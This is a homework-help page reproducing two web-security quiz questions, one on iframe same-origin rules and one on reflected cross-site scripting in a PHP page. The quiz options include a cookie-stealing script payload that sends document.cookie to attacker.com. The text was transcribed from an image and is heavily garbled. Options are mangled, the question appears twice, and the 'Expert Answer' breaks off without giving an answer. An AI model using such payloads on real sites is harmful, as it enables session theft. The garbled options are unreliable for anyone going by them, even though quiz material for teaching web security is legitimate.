[Solved]Question 8 Suppose Indexhtml Https Seconutulsaedu Loads Iframe Http Foocom Barhtml Followi Q37177470

QUESTION 8 Suppose that index.html on https //secon.utulsa.edu loads an iframe from http://foo.com/bar.html. Which of the following statements is TRUE? O Javascript located in foo.com/bar html CAN access the DOM of secon utulsa.edu/index html Cookies set for foo.com will be sent to secon.utulsa.edu. Cookies set for secon utulsa.edu will be sent to foo.com O Javascript located in foo.com/barhtml CANNOT access the DOM of secon.utulsa.edu QUESTION 9 Suppose the website example.com does not do any input sanitization. It has a page, called foo.php that includes the following code: KHTML> TITLE>Important things </TITLE> php echoGET[bar]?>: /BODY> /HTML Which URL would execute a successful attack that transmitted the user’s cookie on example.com to the attacker’s website attacker.com? O http://example.com/bar.php?foo=<script>window.open(“http://example.com/a.php?p=”+document.cookie)</script> http://example.com/foo.php?bar-cscript>window.cpen/”http://example.com/a.php?p-“+document.cookie)</script> 0 http://example.com/foo.php?bar=<script>window.open(“http://attacker.com/a.php?p=”+document.cookie)</script> Ohttp://attacker.com/foo.php?bar scriptwindow.open (“http://attacker.com/a.php?p-“+.cookie)</script> 0 http://attacker.com/foo.php?ba-<script>window.open(“http://example.com/a.php?p=4document . cock. )</script httpexample.com/bar.php ript>window.open (“http://attacker.com/a.phppdocument.cookie)</script> Show transcribed image text QUESTION 8 Suppose that index.html on https //secon.utulsa.edu loads an iframe from http://foo.com/bar.html. Which of the following statements is TRUE? O Javascript located in foo.com/bar html CAN access the DOM of secon utulsa.edu/index html Cookies set for foo.com will be sent to secon.utulsa.edu. Cookies set for secon utulsa.edu will be sent to foo.com O Javascript located in foo.com/barhtml CANNOT access the DOM of secon.utulsa.edu QUESTION 9 Suppose the website example.com does not do any input sanitization. It has a page, called foo.php that includes the following code: KHTML> TITLE>Important things php echoGET[bar]?>: /BODY> /HTML Which URL would execute a successful attack that transmitted the user’s cookie on example.com to the attacker’s website attacker.com? O http://example.com/bar.php?foo=window.open(“http://example.com/a.php?p=”+document.cookie) http://example.com/foo.php?bar-cscript>window.cpen/”http://example.com/a.php?p-“+document.cookie) 0 http://example.com/foo.php?bar=window.open(“http://attacker.com/a.php?p=”+document.cookie) Ohttp://attacker.com/foo.php?bar scriptwindow.open (“http://attacker.com/a.php?p-“+.cookie) 0 http://attacker.com/foo.php?ba-window.open(“http://example.com/a.php?p=4document . cock. )window.open (“http://attacker.com/a.phppdocument.cookie)

Expert Answer

---

Answer to QUESTION 8 Suppose that index.html on https //secon.utulsa.edu loads an iframe from http://foo.com/bar.html. Which of th… . . .